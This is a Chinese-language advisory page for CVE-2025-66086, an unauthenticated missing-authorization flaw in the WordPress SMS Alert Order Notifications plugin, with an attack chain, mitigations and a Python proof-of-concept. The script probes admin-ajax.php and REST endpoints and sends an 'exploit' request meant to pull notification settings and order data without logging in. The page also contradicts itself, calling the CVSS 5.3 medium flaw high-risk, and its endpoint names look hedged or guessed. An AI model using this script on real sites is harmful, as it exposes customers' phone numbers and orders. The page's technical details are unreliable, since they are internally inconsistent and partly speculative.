IPBUF安全漏洞报告
English
CVE-2025-66086 CVSS 5.3 中危

CVE-2025-66086 WordPress SMS Alert插件缺失授权漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-66086
漏洞类型
缺失授权(Missing Authorization)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cozy Vision SMS Alert Order Notifications WordPress插件

相关标签

CVE-2025-66086WordPress插件漏洞缺失授权访问控制绕过SMS AlertBroken Access ControlCozy Vision无需认证中危漏洞

漏洞概述

CVE-2025-66086是WordPress插件SMS Alert Order Notifications中的一个高危安全漏洞。该插件版本从任意版本至3.8.8均受影响。漏洞类型为缺失授权(Broken Access Control),允许未经认证的攻击者利用配置错误的访问控制安全级别。由于该插件用于发送订单通知短信,攻击者可能通过API端点或相关功能模块访问敏感功能,在未经授权的情况下修改短信通知配置、获取订单信息或执行未经许可的操作。此漏洞无需用户交互,攻击者可直接通过网络发起攻击,对系统的机密性和完整性造成一定风险。

技术细节

该漏洞存在于SMS Alert插件的访问控制机制中。由于缺少适当的权限验证,攻击者可以直接访问本应需要管理员权限的功能端点。攻击者可能通过构造特定的HTTP请求来访问以下内容:1) 订单通知短信配置接口;2) 用户手机号码数据库;3) 短信发送功能API。攻击者无需登录后台或获取任何凭据即可利用此漏洞。在WordPress插件架构中,通常通过admin_init或init钩子注册管理功能,但本插件未正确使用current_user_can()等权限检查函数,导致匿名用户也能触发敏感操作。攻击者可能利用此漏洞获取客户订单信息、修改短信模板或劫持通知功能。

攻击链分析

STEP 1
步骤1
攻击者识别运行SMS Alert插件(版本<=3.8.8)的WordPress站点
STEP 2
步骤2
攻击者扫描站点识别暴露的API端点或管理功能
STEP 3
步骤3
攻击者构造恶意HTTP请求,直接访问需要授权的admin-ajax.php或其他API端点
STEP 4
步骤4
由于插件缺少current_user_can()等权限检查,服务器返回敏感数据(如订单信息、短信配置)
STEP 5
步骤5
攻击者获取客户手机号码、订单详情等敏感信息,或修改短信通知配置
STEP 6
步骤6
攻击者可能利用获取的信息进行进一步攻击,如社工诈骗或数据倒卖

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66086 PoC - Missing Authorization in SMS Alert Plugin # Target: WordPress site with SMS Alert plugin <= 3.8.8 import requests import sys def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-66086 """ # Try to access SMS Alert admin functionality without authentication vulnerable_endpoints = [ '/wp-admin/admin-ajax.php?action=smsalert_order_notification_settings', '/wp-admin/admin-ajax.php?action=smsalert_get_order_details', '/wp-json/sms-alert/v1/settings', '/wp-json/sms-alert/v1/orders' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } for endpoint in vulnerable_endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10) # If we get a 200 response with data instead of 401/403, vulnerability exists if response.status_code == 200 and 'smsalert' in response.text.lower(): print(f'[+] VULNERABLE: {url}') print(f'[+] Response snippet: {response.text[:200]}') return True elif response.status_code == 200: print(f'[*] Potential issue at: {url}') except requests.RequestException as e: print(f'[-] Error checking {url}: {e}') print('[-] No obvious vulnerability detected') return False def exploit_access_control(target_url): """ Attempt to access sensitive SMS Alert data without authentication """ # Exploit endpoint for order notifications exploit_data = { 'action': 'smsalert_ajax', 'route': 'get_notification_settings', 'mod': 'phoneorders' } url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' try: response = requests.post(url, data=exploit_data, timeout=10) if response.status_code == 200: print('[+] Successfully accessed admin functionality without auth!') print(f'[+] Response: {response.text}') except requests.RequestException as e: print(f'[-] Exploit failed: {e}') if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] print(f'[*] Scanning {target} for CVE-2025-66086...') check_vulnerability(target) else: print('Usage: python cve-2025-66086.py <target_url>')

影响范围

SMS Alert Order Notifications <= 3.8.8
Cozy Vision SMS Alert WordPress插件 全部历史版本至3.8.8

防御指南

临时缓解措施
立即将SMS Alert插件升级至最新版本(3.8.9或更高版本)。如果无法立即升级,可临时采取以下措施:1) 禁用该插件并寻找替代方案;2) 使用WAF(Web应用防火墙)规则阻止对admin-ajax.php的异常请求;3) 限制/wp-admin/目录的访问权限,仅允许受信任的IP地址访问管理后台;4) 监控访问日志,密切关注来自同一IP的大量请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表